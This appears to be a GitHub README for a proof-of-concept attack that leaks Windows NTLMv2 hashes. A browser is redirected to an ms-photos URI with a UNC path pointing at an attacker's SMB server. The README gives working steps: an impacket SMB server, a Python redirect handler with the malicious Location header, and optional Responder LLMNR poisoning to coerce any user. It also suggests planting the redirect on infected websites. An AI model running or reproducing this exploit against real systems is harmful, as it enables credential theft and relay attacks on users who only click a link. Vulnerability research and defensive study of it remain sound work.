wackymaker/ms-photos_NTLM_Leak
New 0 day vulnerability allowing to leak NTLM hashes from browsers with one click
Microsoft ms-photos URI NTLM Leak
New vulnerability allowing to leak NTLM hashes from browsers with one click
Description
The Microsoft ms-photos URI scheme takes fileName as parameter, which can be submitted with a UNC path, leaking NTLMv2-SSP hashes one opened. By crafting a specially formatted link, an attacker can coerce a victim into launching the Microsoft Photos app directly from a browser. When triggered, this behavior results in the leakage of the victim’s NTLMv2-SSP hash to an attacker-controlled server. This issue enables credential exposure and potential relay attacks in enterprise environments, requiring only minimal user interaction (Opening the App). Microsoft didn't recognize the vulnerability and no CVE was issued. Also, I was inspired by the Syss blog from 2022.
Since the NTLMv2-SSP challenge can be leaked to public-facing UNC paths (except if an outbound SMB/445 firewall rule is set), the vulnerability can be combined to websites infections, leading to supply-chain attacks.
From MSDN Documentation about the URI scheme we can find the following:
Steps to reproduce
Open the smb server
# With a picture: Opens the photo on the target with photos.exe
# Without a picture: Nothing, no photos.exe process window
impacket-smbserver share . -smb2supportStart the malicious python server
# Edit first the information about the IP, share, and filename for UNC coercing.
python3 ms-photos-server.py
Browse to the location
Open chrome and navigate to /test
Also, it can be done with responder. Any unresolved domains issuing a LLMNR request will be redirected to the script, allowing to coerce any user instead of popping up a NTLM user/password auth window.
To make it work, run the script first and then the responder.
It works because our application is redirecting directly to a ms-photos URI scheme, containing the UNC path of our server:
class RedirectHandler(BaseHTTPRequestHandler):
def do_GET(self):
if self.path == "/":
self.send_response(302) # HTTP 302 Found (temporary redirect)
self.send_header('Location', 'ms-photos:viewer?fileName=\\\\192.168.159.129\\share\\Capture.png')
self.end_headers()
else:
self.send_response(404)
self.end_headers()
self.wfile.write(b"Not Found")Redirection from client side:
Notes
This code is for educational and research purposes only.
The author takes no responsibility for any misuse of this code.